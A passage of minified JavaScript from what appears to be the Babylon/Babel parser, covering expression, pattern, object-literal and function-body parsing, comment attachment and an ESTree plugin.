i=e[n-1];if(i&&"RestElement"===i.type)--n;else if(i&&"SpreadElement"===i.type){i.type="RestElement";var s=i.argument;this.toAssignable(s,t,r),"Identifier"!==s.type&&"MemberExpression"!==s.type&&"ArrayPattern"!==s.type&&this.unexpected(s.start),--n}}for(var a=0;a<n;a++){var o=e[a];o&&this.toAssignable(o,t,r)}return e},ee.toReferencedList=function(e){return e},ee.parseSpread=function(e){var t=this.startNode();return this.next(),t.argument=this.parseMaybeAssign(!1,e),this.finishNode(t,"SpreadElement")},ee.parseRest=function(){var e=this.startNode();return this.next(),e.argument=this.parseBindingIdentifier(),this.finishNode(e,"RestElement")},ee.shouldAllowYieldIdentifier=function(){return this.match(R._yield)&&!this.state.strict&&!this.state.inGenerator},ee.parseBindingIdentifier=function(){return this.parseIdentifier(this.shouldAllowYieldIdentifier())},ee.parseBindingAtom=function(){switch(this.state.type){case R._yield:(this.state.strict||this.state.inGenerator)&&this.unexpected();case R.name:return this.parseIdentifier(!0);case R.bracketL:var e=this.startNode();return this.next(),e.elements=this.parseBindingList(R.bracketR,!0),this.finishNode(e,"ArrayPattern");case R.braceL:return this.parseObj(!0);default:this.unexpected()}},ee.parseBindingList=function(e,t){for(var r=[],n=!0;!this.eat(e);)if(n?n=!1:this.expect(R.comma),t&&this.match(R.comma))r.push(null);else{if(this.eat(e))break;if(this.match(R.ellipsis)){r.push(this.parseAssignableListItemTypes(this.parseRest())),this.expect(e);break}for(var i=[];this.match(R.at);)i.push(this.parseDecorator());var s=this.parseMaybeDefault();i.length&&(s.decorators=i),this.parseAssignableListItemTypes(s),r.push(this.parseMaybeDefault(s.start,s.loc.start,s))}return r},ee.parseAssignableListItemTypes=function(e){return e},ee.parseMaybeDefault=function(e,t,r){if(t=t||this.state.startLoc,e=e||this.state.start,r=r||this.parseBindingAtom(),!this.eat(R.eq))return r;var n=this.startNodeAt(e,t);return n.left=r,n.right=this.parseMaybeAssign(),this.finishNode(n,"AssignmentPattern")},ee.checkLVal=function(e,t,r,n){switch(e.type){case"Identifier":if(this.checkReservedWord(e.name,e.start,!1,!0),r){var i="_"+e.name;r[i]?this.raise(e.start,"Argument name clash in strict mode"):r[i]=!0}break;case"MemberExpression":t&&this.raise(e.start,(t?"Binding":"Assigning to")+" member expression");break;case"ObjectPattern":for(var s=e.properties,a=Array.isArray(s),o=0,s=a?s:s[Symbol.iterator]();;){var u;if(a){if(o>=s.length)break;u=s[o++]}else{if(o=s.next(),o.done)break;u=o.value}var l=u;"ObjectProperty"===l.type&&(l=l.value),this.checkLVal(l,t,r,"object destructuring pattern")}break;case"ArrayPattern":for(var c=e.elements,f=Array.isArray(c),p=0,c=f?c:c[Symbol.iterator]();;){var d;if(f){if(p>=c.length)break;d=c[p++]}else{if(p=c.next(),p.done)break;d=p.value}var h=d;h&&this.checkLVal(h,t,r,"array destructuring pattern")}break;case"AssignmentPattern":this.checkLVal(e.left,t,r,"assignment pattern");break;case"RestProperty":this.checkLVal(e.argument,t,r,"rest property");break;case"RestElement":this.checkLVal(e.argument,t,r,"rest element");break;default:var m=(t?"Binding invalid":"Invalid")+" left-hand side"+(n?" in "+n:"expression");this.raise(e.start,m)}};var te=J.prototype;te.checkPropClash=function(e,t){if(!e.computed&&!e.kind){var r=e.key;"__proto__"===("Identifier"===r.type?r.name:String(r.value))&&(t.proto&&this.raise(r.start,"Redefinition of __proto__ property"),t.proto=!0)}},te.getExpression=function(){this.nextToken();var e=this.parseExpression();return this.match(R.eof)||this.unexpected(),e},te.parseExpression=function(e,t){var r=this.state.start,n=this.state.startLoc,i=this.parseMaybeAssign(e,t);if(this.match(R.comma)){var s=this.startNodeAt(r,n);for(s.expressions=[i];this.eat(R.comma);)s.expressions.push(this.parseMaybeAssign(e,t));return this.toReferencedList(s.expressions),this.finishNode(s,"SequenceExpression")}return i},te.parseMaybeAssign=function(e,t,r,n){var i=this.state.start,s=this.state.startLoc;if(this.match(R._yield)&&this.state.inGenerator){var a=this.parseYield();return r&&(a=r.call(this,a,i,s)),a}var o=void 0;t?o=!1:(t={start:0},o=!0),(this.match(R.parenL)||this.match(R.name))&&(this.state.potentialArrowAt=this.state.start);var u=this.parseMaybeConditional(e,t,n);if(r&&(u=r.call(this,u,i,s)),this.state.type.isAssign){var l=this.startNodeAt(i,s);if(l.operator=this.state.value,l.left=this.match(R.eq)?this.toAssignable(u,void 0,"assignment expression"):u,t.start=0,this.checkLVal(u,void 0,void 0,"assignment expression"),u.extra&&u.extra.parenthesized){var c=void 0;"ObjectPattern"===u.type?c="`({a}) = 0` use `({a} = 0)`":"ArrayPattern"===u.type&&(c="`([a]) = 0` use `([a] = 0)`"),c&&this.raise(u.start,"You're trying to assign to a parenthesized expression, eg. instead of "+c)}return this.next(),l.right=this.parseMaybeAssign(e),this.finishNode(l,"AssignmentExpression")}return o&&t.start&&this.unexpected(t.start),u},te.parseMaybeConditional=function(e,t,r){var n=this.state.start,i=this.state.startLoc,s=this.parseExprOps(e,t);return t&&t.start?s:this.parseConditional(s,e,n,i,r)},te.parseConditional=function(e,t,r,n){if(this.eat(R.question)){var i=this.startNodeAt(r,n);return i.test=e,i.consequent=this.parseMaybeAssign(),this.expect(R.colon),i.alternate=this.parseMaybeAssign(t),this.finishNode(i,"ConditionalExpression")}return e},te.parseExprOps=function(e,t){var r=this.state.start,n=this.state.startLoc,i=this.parseMaybeUnary(t);return t&&t.start?i:this.parseExprOp(i,r,n,-1,e)},te.parseExprOp=function(e,t,r,n,i){var s=this.state.type.binop;if(!(null==s||i&&this.match(R._in))&&s>n){var a=this.startNodeAt(t,r);a.left=e,a.operator=this.state.value,"**"!==a.operator||"UnaryExpression"!==e.type||!e.extra||e.extra.parenthesizedArgument||e.extra.parenthesized||this.raise(e.argument.start,"Illegal expression. Wrap left hand side or entire exponentiation in parentheses.");var o=this.state.type;this.next();var u=this.state.start,l=this.state.startLoc;return a.right=this.parseExprOp(this.parseMaybeUnary(),u,l,o.rightAssociative?s-1:s,i),this.finishNode(a,o===R.logicalOR||o===R.logicalAND?"LogicalExpression":"BinaryExpression"),this.parseExprOp(a,t,r,n,i)}return e},te.parseMaybeUnary=function(e){if(this.state.type.prefix){var t=this.startNode(),r=this.match(R.incDec);t.operator=this.state.value,t.prefix=!0,this.next();var n=this.state.type;return t.argument=this.parseMaybeUnary(),this.addExtra(t,"parenthesizedArgument",!(n!==R.parenL||t.argument.extra&&t.argument.extra.parenthesized)),e&&e.start&&this.unexpected(e.start),r?this.checkLVal(t.argument,void 0,void 0,"prefix operation"):this.state.strict&&"delete"===t.operator&&"Identifier"===t.argument.type&&this.raise(t.start,"Deleting local variable in strict mode"),this.finishNode(t,r?"UpdateExpression":"UnaryExpression")}var i=this.state.start,s=this.state.startLoc,a=this.parseExprSubscripts(e);if(e&&e.start)return a;for(;this.state.type.postfix&&!this.canInsertSemicolon();){var o=this.startNodeAt(i,s);o.operator=this.state.value,o.prefix=!1,o.argument=a,this.checkLVal(a,void 0,void 0,"postfix operation"),this.next(),a=this.finishNode(o,"UpdateExpression")}return a},te.parseExprSubscripts=function(e){var t=this.state.start,r=this.state.startLoc,n=this.state.potentialArrowAt,i=this.parseExprAtom(e);return"ArrowFunctionExpression"===i.type&&i.start===n?i:e&&e.start?i:this.parseSubscripts(i,t,r)},te.parseSubscripts=function(e,t,r,n){for(;;){if(!n&&this.eat(R.doubleColon)){var i=this.startNodeAt(t,r);return i.object=e,i.callee=this.parseNoCallExpr(),this.parseSubscripts(this.finishNode(i,"BindExpression"),t,r,n)}if(this.eat(R.dot)){var s=this.startNodeAt(t,r);s.object=e,s.property=this.parseIdentifier(!0),s.computed=!1,e=this.finishNode(s,"MemberExpression")}else if(this.eat(R.bracketL)){var a=this.startNodeAt(t,r);a.object=e,a.property=this.parseExpression(),a.computed=!0,this.expect(R.bracketR),e=this.finishNode(a,"MemberExpression")}else if(!n&&this.match(R.parenL)){var o=this.state.potentialArrowAt===e.start&&"Identifier"===e.type&&"async"===e.name&&!this.canInsertSemicolon();this.next();var u=this.startNodeAt(t,r);if(u.callee=e,u.arguments=this.parseCallExpressionArguments(R.parenR,o),"Import"===u.callee.type&&1!==u.arguments.length&&this.raise(u.start,"import() requires exactly one argument"),e=this.finishNode(u,"CallExpression"),o&&this.shouldParseAsyncArrow())return this.parseAsyncArrowFromCallExpression(this.startNodeAt(t,r),u);this.toReferencedList(u.arguments)}else{if(!this.match(R.backQuote))return e;var l=this.startNodeAt(t,r);l.tag=e,l.quasi=this.parseTemplate(!0),e=this.finishNode(l,"TaggedTemplateExpression")}}},te.parseCallExpressionArguments=function(e,t){for(var r=[],n=void 0,i=!0;!this.eat(e);){if(i)i=!1;else if(this.expect(R.comma),this.eat(e))break;this.match(R.parenL)&&!n&&(n=this.state.start),r.push(this.parseExprListItem(!1,t?{start:0}:void 0,t?{start:0}:void 0))}return t&&n&&this.shouldParseAsyncArrow()&&this.unexpected(),r},te.shouldParseAsyncArrow=function(){return this.match(R.arrow)},te.parseAsyncArrowFromCallExpression=function(e,t){return this.expect(R.arrow),this.parseArrowExpression(e,t.arguments,!0)},te.parseNoCallExpr=function(){var e=this.state.start,t=this.state.startLoc;return this.parseSubscripts(this.parseExprAtom(),e,t,!0)},te.parseExprAtom=function(e){var t=this.state.potentialArrowAt===this.state.start,r=void 0;switch(this.state.type){case R._super:return this.state.inMethod||this.state.inClassProperty||this.options.allowSuperOutsideMethod||this.raise(this.state.start,"'super' outside of function or class"),r=this.startNode(),this.next(),this.match(R.parenL)||this.match(R.bracketL)||this.match(R.dot)||this.unexpected(),this.match(R.parenL)&&"constructor"!==this.state.inMethod&&!this.options.allowSuperOutsideMethod&&this.raise(r.start,"super() outside of class constructor"),this.finishNode(r,"Super");case R._import:return this.hasPlugin("dynamicImport")||this.unexpected(),r=this.startNode(),this.next(),this.match(R.parenL)||this.unexpected(null,R.parenL),this.finishNode(r,"Import");case R._this:return r=this.startNode(),this.next(),this.finishNode(r,"ThisExpression");case R._yield:this.state.inGenerator&&this.unexpected();case R.name:r=this.startNode();var n="await"===this.state.value&&this.state.inAsync,i=this.shouldAllowYieldIdentifier(),s=this.parseIdentifier(n||i);if("await"===s.name){if(this.state.inAsync||this.inModule)return this.parseAwait(r)}else{if("async"===s.name&&this.match(R._function)&&!this.canInsertSemicolon())return this.next(),this.parseFunction(r,!1,!1,!0);if(t&&"async"===s.name&&this.match(R.name)){var a=[this.parseIdentifier()];return this.expect(R.arrow),this.parseArrowExpression(r,a,!0)}}return t&&!this.canInsertSemicolon()&&this.eat(R.arrow)?this.parseArrowExpression(r,[s]):s;case R._do:if(this.hasPlugin("doExpressions")){var o=this.startNode();this.next();var u=this.state.inFunction,l=this.state.labels;return this.state.labels=[],this.state.inFunction=!1,o.body=this.parseBlock(!1,!0),this.state.inFunction=u,this.state.labels=l,this.finishNode(o,"DoExpression")}case R.regexp:var c=this.state.value;return r=this.parseLiteral(c.value,"RegExpLiteral"),r.pattern=c.pattern,r.flags=c.flags,r;case R.num:return this.parseLiteral(this.state.value,"NumericLiteral");case R.string:return this.parseLiteral(this.state.value,"StringLiteral");case R._null:return r=this.startNode(),this.next(),this.finishNode(r,"NullLiteral");case R._true:case R._false:return r=this.startNode(),r.value=this.match(R._true),this.next(),this.finishNode(r,"BooleanLiteral");case R.parenL:return this.parseParenAndDistinguishExpression(null,null,t);case R.bracketL:return r=this.startNode(),this.next(),r.elements=this.parseExprList(R.bracketR,!0,e),this.toReferencedList(r.elements),this.finishNode(r,"ArrayExpression");case R.braceL:return this.parseObj(!1,e);case R._function:return this.parseFunctionExpression();case R.at:this.parseDecorators();case R._class:return r=this.startNode(),this.takeDecorators(r),this.parseClass(r,!1);case R._new:return this.parseNew();case R.backQuote:return this.parseTemplate(!1);case R.doubleColon:r=this.startNode(),this.next(),r.object=null;var f=r.callee=this.parseNoCallExpr();if("MemberExpression"===f.type)return this.finishNode(r,"BindExpression");this.raise(f.start,"Binding should be performed on object property.");default:this.unexpected()}},te.parseFunctionExpression=function(){var e=this.startNode(),t=this.parseIdentifier(!0);return this.state.inGenerator&&this.eat(R.dot)&&this.hasPlugin("functionSent")?this.parseMetaProperty(e,t,"sent"):this.parseFunction(e,!1)},te.parseMetaProperty=function(e,t,r){return e.meta=t,e.property=this.parseIdentifier(!0),e.property.name!==r&&this.raise(e.property.start,"The only valid meta property for new is "+t.name+"."+r),this.finishNode(e,"MetaProperty")},te.parseLiteral=function(e,t,r,n){r=r||this.state.start,n=n||this.state.startLoc;var i=this.startNodeAt(r,n);return this.addExtra(i,"rawValue",e),this.addExtra(i,"raw",this.input.slice(r,this.state.end)),i.value=e,this.next(),this.finishNode(i,t)},te.parseParenExpression=function(){this.expect(R.parenL);var e=this.parseExpression();return this.expect(R.parenR),e},te.parseParenAndDistinguishExpression=function(e,t,r){e=e||this.state.start,t=t||this.state.startLoc;var n=void 0;this.expect(R.parenL);for(var i=this.state.start,s=this.state.startLoc,a=[],o={start:0},u={start:0},l=!0,c=void 0,f=void 0;!this.match(R.parenR);){if(l)l=!1;else if(this.expect(R.comma,u.start||null),this.match(R.parenR)){f=this.state.start;break}
if(this.match(R.ellipsis)){var p=this.state.start,d=this.state.startLoc;c=this.state.start,a.push(this.parseParenItem(this.parseRest(),p,d));break}a.push(this.parseMaybeAssign(!1,o,this.parseParenItem,u))}var h=this.state.start,m=this.state.startLoc;this.expect(R.parenR);var y=this.startNodeAt(e,t);if(r&&this.shouldParseArrow()&&(y=this.parseArrow(y))){for(var v=a,g=Array.isArray(v),b=0,v=g?v:v[Symbol.iterator]();;){var E;if(g){if(b>=v.length)break;E=v[b++]}else{if(b=v.next(),b.done)break;E=b.value}var x=E;x.extra&&x.extra.parenthesized&&this.unexpected(x.extra.parenStart)}return this.parseArrowExpression(y,a)}return a.length||this.unexpected(this.state.lastTokStart),f&&this.unexpected(f),c&&this.unexpected(c),o.start&&this.unexpected(o.start),u.start&&this.unexpected(u.start),a.length>1?(n=this.startNodeAt(i,s),n.expressions=a,this.toReferencedList(n.expressions),this.finishNodeAt(n,"SequenceExpression",h,m)):n=a[0],this.addExtra(n,"parenthesized",!0),this.addExtra(n,"parenStart",e),n},te.shouldParseArrow=function(){return!this.canInsertSemicolon()},te.parseArrow=function(e){if(this.eat(R.arrow))return e},te.parseParenItem=function(e){return e},te.parseNew=function(){var e=this.startNode(),t=this.parseIdentifier(!0);if(this.eat(R.dot)){var r=this.parseMetaProperty(e,t,"target");return this.state.inFunction||this.raise(r.property.start,"new.target can only be used in functions"),r}return e.callee=this.parseNoCallExpr(),this.eat(R.parenL)?(e.arguments=this.parseExprList(R.parenR),this.toReferencedList(e.arguments)):e.arguments=[],this.finishNode(e,"NewExpression")},te.parseTemplateElement=function(e){var t=this.startNode();return null===this.state.value&&(e&&this.hasPlugin("templateInvalidEscapes")?this.state.invalidTemplateEscapePosition=null:this.raise(this.state.invalidTemplateEscapePosition,"Invalid escape sequence in template")),t.value={raw:this.input.slice(this.state.start,this.state.end).replace(/\r\n?/g,"\n"),cooked:this.state.value},this.next(),t.tail=this.match(R.backQuote),this.finishNode(t,"TemplateElement")},te.parseTemplate=function(e){var t=this.startNode();this.next(),t.expressions=[];var r=this.parseTemplateElement(e);for(t.quasis=[r];!r.tail;)this.expect(R.dollarBraceL),t.expressions.push(this.parseExpression()),this.expect(R.braceR),t.quasis.push(r=this.parseTemplateElement(e));return this.next(),this.finishNode(t,"TemplateLiteral")},te.parseObj=function(e,t){var r=[],n=Object.create(null),i=!0,s=this.startNode();s.properties=[],this.next();for(var a=null;!this.eat(R.braceR);){if(i)i=!1;else if(this.expect(R.comma),this.eat(R.braceR))break;for(;this.match(R.at);)r.push(this.parseDecorator());var o=this.startNode(),u=!1,l=!1,c=void 0,f=void 0;if(r.length&&(o.decorators=r,r=[]),this.hasPlugin("objectRestSpread")&&this.match(R.ellipsis)){if(o=this.parseSpread(e?{start:0}:void 0),o.type=e?"RestProperty":"SpreadProperty",e&&this.toAssignable(o.argument,!0,"object pattern"),s.properties.push(o),!e)continue;var p=this.state.start;if(null===a){if(this.eat(R.braceR))break;if(this.match(R.comma)&&this.lookahead().type===R.braceR)continue;a=p;continue}this.unexpected(a,"Cannot have multiple rest elements when destructuring")}if(o.method=!1,o.shorthand=!1,(e||t)&&(c=this.state.start,f=this.state.startLoc),e||(u=this.eat(R.star)),!e&&this.isContextual("async")){u&&this.unexpected();var d=this.parseIdentifier();this.match(R.colon)||this.match(R.parenL)||this.match(R.braceR)||this.match(R.eq)||this.match(R.comma)?(o.key=d,o.computed=!1):(l=!0,this.hasPlugin("asyncGenerators")&&(u=this.eat(R.star)),this.parsePropertyName(o))}else this.parsePropertyName(o);this.parseObjPropValue(o,c,f,u,l,e,t),this.checkPropClash(o,n),o.shorthand&&this.addExtra(o,"shorthand",!0),s.properties.push(o)}return null!==a&&this.unexpected(a,"The rest element has to be the last element when destructuring"),r.length&&this.raise(this.state.start,"You have trailing decorators with no property"),this.finishNode(s,e?"ObjectPattern":"ObjectExpression")},te.isGetterOrSetterMethod=function(e,t){return!t&&!e.computed&&"Identifier"===e.key.type&&("get"===e.key.name||"set"===e.key.name)&&(this.match(R.string)||this.match(R.num)||this.match(R.bracketL)||this.match(R.name)||this.state.type.keyword)},te.checkGetterSetterParamCount=function(e){var t="get"===e.kind?0:1;if(e.params.length!==t){var r=e.start;"get"===e.kind?this.raise(r,"getter should have no params"):this.raise(r,"setter should have exactly one param")}},te.parseObjectMethod=function(e,t,r,n){return r||t||this.match(R.parenL)?(n&&this.unexpected(),e.kind="method",e.method=!0,this.parseMethod(e,t,r),this.finishNode(e,"ObjectMethod")):this.isGetterOrSetterMethod(e,n)?((t||r)&&this.unexpected(),e.kind=e.key.name,this.parsePropertyName(e),this.parseMethod(e),this.checkGetterSetterParamCount(e),this.finishNode(e,"ObjectMethod")):void 0},te.parseObjectProperty=function(e,t,r,n,i){return this.eat(R.colon)?(e.value=n?this.parseMaybeDefault(this.state.start,this.state.startLoc):this.parseMaybeAssign(!1,i),this.finishNode(e,"ObjectProperty")):e.computed||"Identifier"!==e.key.type?void 0:(this.checkReservedWord(e.key.name,e.key.start,!0,!0),n?e.value=this.parseMaybeDefault(t,r,e.key.__clone()):this.match(R.eq)&&i?(i.start||(i.start=this.state.start),e.value=this.parseMaybeDefault(t,r,e.key.__clone())):e.value=e.key.__clone(),e.shorthand=!0,this.finishNode(e,"ObjectProperty"))},te.parseObjPropValue=function(e,t,r,n,i,s,a){var o=this.parseObjectMethod(e,n,i,s)||this.parseObjectProperty(e,t,r,s,a);return o||this.unexpected(),o},te.parsePropertyName=function(e){if(this.eat(R.bracketL))e.computed=!0,e.key=this.parseMaybeAssign(),this.expect(R.bracketR);else{e.computed=!1;var t=this.state.inPropertyName;this.state.inPropertyName=!0,e.key=this.match(R.num)||this.match(R.string)?this.parseExprAtom():this.parseIdentifier(!0),this.state.inPropertyName=t}return e.key},te.initFunction=function(e,t){e.id=null,e.generator=!1,e.expression=!1,e.async=!!t},te.parseMethod=function(e,t,r){var n=this.state.inMethod;return this.state.inMethod=e.kind||!0,this.initFunction(e,r),this.expect(R.parenL),e.params=this.parseBindingList(R.parenR),e.generator=!!t,this.parseFunctionBody(e),this.state.inMethod=n,e},te.parseArrowExpression=function(e,t,r){return this.initFunction(e,r),e.params=this.toAssignableList(t,!0,"arrow function parameters"),this.parseFunctionBody(e,!0),this.finishNode(e,"ArrowFunctionExpression")},te.isStrictBody=function(e,t){if(!t&&e.body.directives.length)for(var r=e.body.directives,n=Array.isArray(r),i=0,r=n?r:r[Symbol.iterator]();;){var s;if(n){if(i>=r.length)break;s=r[i++]}else{if(i=r.next(),i.done)break;s=i.value}var a=s;if("use strict"===a.value.value)return!0}return!1},te.parseFunctionBody=function(e,t){var r=t&&!this.match(R.braceL),n=this.state.inAsync;if(this.state.inAsync=e.async,r)e.body=this.parseMaybeAssign(),e.expression=!0;else{var i=this.state.inFunction,s=this.state.inGenerator,a=this.state.labels;this.state.inFunction=!0,this.state.inGenerator=e.generator,this.state.labels=[],e.body=this.parseBlock(!0),e.expression=!1,this.state.inFunction=i,this.state.inGenerator=s,this.state.labels=a}this.state.inAsync=n;var o=this.isStrictBody(e,r),u=this.state.strict||t||o;if(o&&e.id&&"Identifier"===e.id.type&&"yield"===e.id.name&&this.raise(e.id.start,"Binding yield in strict mode"),u){var l=Object.create(null),c=this.state.strict;o&&(this.state.strict=!0),e.id&&this.checkLVal(e.id,!0,void 0,"function name");for(var f=e.params,p=Array.isArray(f),d=0,f=p?f:f[Symbol.iterator]();;){var h;if(p){if(d>=f.length)break;h=f[d++]}else{if(d=f.next(),d.done)break;h=d.value}var m=h;o&&"Identifier"!==m.type&&this.raise(m.start,"Non-simple parameter in strict mode"),this.checkLVal(m,!0,l,"function parameter list")}this.state.strict=c}},te.parseExprList=function(e,t,r){for(var n=[],i=!0;!this.eat(e);){if(i)i=!1;else if(this.expect(R.comma),this.eat(e))break;n.push(this.parseExprListItem(t,r))}return n},te.parseExprListItem=function(e,t,r){return e&&this.match(R.comma)?null:this.match(R.ellipsis)?this.parseSpread(t):this.parseMaybeAssign(!1,t,this.parseParenItem,r)},te.parseIdentifier=function(e){var t=this.startNode();return e||this.checkReservedWord(this.state.value,this.state.start,!!this.state.type.keyword,!1),this.match(R.name)?t.name=this.state.value:this.state.type.keyword?t.name=this.state.type.keyword:this.unexpected(),!e&&"await"===t.name&&this.state.inAsync&&this.raise(t.start,"invalid use of await inside of an async function"),t.loc.identifierName=t.name,this.next(),this.finishNode(t,"Identifier")},te.checkReservedWord=function(e,t,r,n){(this.isReservedWord(e)||r&&this.isKeyword(e))&&this.raise(t,e+" is a reserved word"),this.state.strict&&(v.strict(e)||n&&v.strictBind(e))&&this.raise(t,e+" is a reserved word in strict mode")},te.parseAwait=function(e){return this.state.inAsync||this.unexpected(),this.match(R.star)&&this.raise(e.start,"await* has been removed from the async functions proposal. Use Promise.all() instead."),e.argument=this.parseMaybeUnary(),this.finishNode(e,"AwaitExpression")},te.parseYield=function(){var e=this.startNode();return this.next(),this.match(R.semi)||this.canInsertSemicolon()||!this.match(R.star)&&!this.state.type.startsExpr?(e.delegate=!1,e.argument=null):(e.delegate=this.eat(R.star),e.argument=this.parseMaybeAssign()),this.finishNode(e,"YieldExpression")};var re=J.prototype,ne=["leadingComments","trailingComments","innerComments"],ie=function(){function e(t,r,n){w(this,e),this.type="",this.start=t,this.end=0,this.loc=new G(r),n&&(this.loc.filename=n)}return e.prototype.__clone=function(){var t=new e;for(var r in this)ne.indexOf(r)<0&&(t[r]=this[r]);return t},e}();re.startNode=function(){return new ie(this.state.start,this.state.startLoc,this.filename)},re.startNodeAt=function(e,t){return new ie(e,t,this.filename)},re.finishNode=function(e,t){return c.call(this,e,t,this.state.lastTokEnd,this.state.lastTokEndLoc)},re.finishNodeAt=function(e,t,r,n){return c.call(this,e,t,r,n)},J.prototype.raise=function(e,t){var r=u(this.input,e);t+=" ("+r.line+":"+r.column+")";var n=new SyntaxError(t);throw n.pos=e,n.loc=r,n};var se=J.prototype;se.addComment=function(e){this.filename&&(e.loc.filename=this.filename),this.state.trailingComments.push(e),this.state.leadingComments.push(e)},se.processComment=function(e){if(!("Program"===e.type&&e.body.length>0)){var t=this.state.commentStack,r=void 0,n=void 0,i=void 0,s=void 0,a=void 0;if(this.state.trailingComments.length>0)this.state.trailingComments[0].start>=e.end?(i=this.state.trailingComments,this.state.trailingComments=[]):this.state.trailingComments.length=0;else{var o=f(t);t.length>0&&o.trailingComments&&o.trailingComments[0].start>=e.end&&(i=o.trailingComments,o.trailingComments=null)}for(t.length>0&&f(t).start>=e.start&&(r=t.pop());t.length>0&&f(t).start>=e.start;)n=t.pop();if(!n&&r&&(n=r),r&&this.state.leadingComments.length>0){var u=f(this.state.leadingComments);if("ObjectProperty"===r.type){if(u.start>=e.start&&this.state.commentPreviousNode){for(a=0;a<this.state.leadingComments.length;a++)this.state.leadingComments[a].end<this.state.commentPreviousNode.end&&(this.state.leadingComments.splice(a,1),a--);this.state.leadingComments.length>0&&(r.trailingComments=this.state.leadingComments,this.state.leadingComments=[])}}else if("CallExpression"===e.type&&e.arguments&&e.arguments.length){var l=f(e.arguments);l&&u.start>=l.start&&u.end<=e.end&&this.state.commentPreviousNode&&this.state.leadingComments.length>0&&(l.trailingComments=this.state.leadingComments,this.state.leadingComments=[])}}if(n){if(n.leadingComments)if(n!==e&&f(n.leadingComments).end<=e.start)e.leadingComments=n.leadingComments,n.leadingComments=null;else for(s=n.leadingComments.length-2;s>=0;--s)if(n.leadingComments[s].end<=e.start){e.leadingComments=n.leadingComments.splice(0,s+1);break}}else if(this.state.leadingComments.length>0)if(f(this.state.leadingComments).end<=e.start){if(this.state.commentPreviousNode)for(a=0;a<this.state.leadingComments.length;a++)this.state.leadingComments[a].end<this.state.commentPreviousNode.end&&(this.state.leadingComments.splice(a,1),a--);this.state.leadingComments.length>0&&(e.leadingComments=this.state.leadingComments,this.state.leadingComments=[])}else{for(s=0;s<this.state.leadingComments.length&&!(this.state.leadingComments[s].end>e.start);s++);e.leadingComments=this.state.leadingComments.slice(0,s),0===e.leadingComments.length&&(e.leadingComments=null),i=this.state.leadingComments.slice(s),0===i.length&&(i=null)}this.state.commentPreviousNode=e,i&&(i.length&&i[0].start>=e.start&&f(i).end<=e.end?e.innerComments=i:e.trailingComments=i),t.push(e)}};var ae=J.prototype;ae.estreeParseRegExpLiteral=function(e){var t=e.pattern,r=e.flags,n=null;try{n=new RegExp(t,r)}catch(e){}var i=this.estreeParseLiteral(n);return i.regex={pattern:t,flags:r},i},ae.estreeParseLiteral=function(e){return this.parseLiteral(e,"Literal")},ae.directiveToStmt=function(e){var t=e.value,r=this.startNodeAt(e.start,e.loc.start),n=this.startNodeAt(t.start,t.loc.start);return n.value=t.value,n.raw=t.extra.raw,r.expression=this.finishNodeAt(n,"Literal",t.end,t.loc.end),r.directive=t.extra.raw.slice(1,-1),this.finishNodeAt(r,"ExpressionStatement",e.end,e.loc.end)};var oe=function(e){e.extend("checkDeclaration",function(e){return function(t){p(t)?this.checkDeclaration(t.value):e.call(this,t)}}),e.extend("checkGetterSetterParamCount",function(){return function(e){var t="get"===e.kind?0:1;if(e.value.params.length!==t){var r=e.start;"get"===e.kind?this.raise(r,"getter should have no params"):this.raise(r,"setter should have exactly one param")}}}),e.extend("checkLVal",function(e){return function(t,r,n){var i=this;switch(t.type){case"ObjectPattern":t.properties.forEach(function(e){i.checkLVal("Property"===e.type?e.value:e,r,n,"object destructuring pattern")});break;default:for(var s=arguments.length,a=Array(s>3?s-3:0),o=3;o<s;o++)a[o-3]=arguments[o];e.call.apply(e,[this,t,r,n].concat(a))}}}),e.extend("checkPropClash",function(){return function(e,t){if(!e.computed&&p(e)){var r=e.key;"__proto__"===("Identifier"===r.type?r.name:String(r.value))&&(t.proto&&this.raise(r.start,"Redefinition of __proto__ property"),t.proto=!0)}}}),e.extend("isStrictBody",function(){return function(e,t){if(!t&&e.body.body.length>0)for(var r=e.body.body,n=Array.isArray(r),i=0,r=n?r:r[Symbol.iterator]();;){var s;if(n){if(i>=r.length)break;s=r[i++]}else{if(i=r.next(),i.done)break;s=i.value}var a=s;if("ExpressionStatement"!==a.type||"Literal"!==a.expression.type)break;if("use strict"===a.expression.value)return!0}return!1}}),e.extend("isValidDirective",function(){return function(e){return!("ExpressionStatement"!==e.type||"Literal"!==e.expression.type||"string"!=typeof e.expression.value||e.expression.extra&&e.expression.extra.parenthesized)}}),e.extend("stmtToDirective",function(e){return function(t){var r=e.call(this,t),n=t.expression.value;return r.value.value=n,r}}),e.extend("parseBlockBody",function(e){return function(t){for(var r=this,n=arguments.length,i=Array(n>1?n-1:0),s=1;s<n;s++)i[s-1]=arguments[s];e.call.apply(e,[this,t].concat(i)),t.directives.reverse().forEach(function(e){t.body.unshift(r.directiveToStmt(e))}),delete t.directives}}),e.extend("parseClassMethod",function(){return function(e,t,r,n){this.parseMethod(t,r,n),t.typeParameters&&(t.value.typeParameters=t.typeParameters,delete t.typeParameters),e.body.push(this.finishNode(t,"MethodDefinition"))}}),e.extend("parseExprAtom",function(e){return function(){switch(this.state.type){case R.regexp:return this.estreeParseRegExpLiteral(this.state.value);case R.num:case R.string:return this.estreeParseLiteral(this.state.value);case R._null:return this.estreeParseLiteral(null);case R._true:return this.estreeParseLiteral(!0);case R._false:return this.estreeParseLiteral(!1);default:for(var t=arguments.length,r=Array(t),n=0;n<t;n++)r[n]=arguments[n];return e.call.apply(e,[this].concat(r))}}}),e.extend("parseLiteral",function(e){return function(){for(var t=arguments.length,r=Array(t),n=0;n<t;n++)r[n]=arguments[n];var i=e.call.apply(e,[this].concat(r));return i.raw=i.extra.raw,delete i.extra,i}}),e.extend("parseMethod",function(e){return function(t){var r=this.startNode();r.kind=t.kind;for(var n=arguments.length,i=Array(n>1?n-1:0),s=1;s<n;s++)i[s-1]=arguments[s];return r=e.call.apply(e,[this,r].concat(i)),delete r.kind,t.value=this.finishNode(r,"FunctionExpression"),t}}),e.extend("parseObjectMethod",function(e){return function(){for(var t=arguments.length,r=Array(t),n=0;n<t;n++)r[n]=arguments[n];var i=e.call.apply(e,[this].concat(r));return i&&("method"===i.kind&&(i.kind="init"),i.type="Property"),i}}),e.extend("parseObjectProperty",function(e){return function(){for(var t=arguments.length,r=Array(t),n=0;n<t;n++)r[n]=arguments[n];var i=e.call.apply(e,[this].concat(r));return i&&(i.kind="init",i.type="Property"),i}}),e.extend("toAssignable",function(e){return function(t,r){for(var n=arguments.length,i=Array(n>2?n-2:0),s=2;s<n;s++)i[s-2]=arguments[s];if(p(t))return 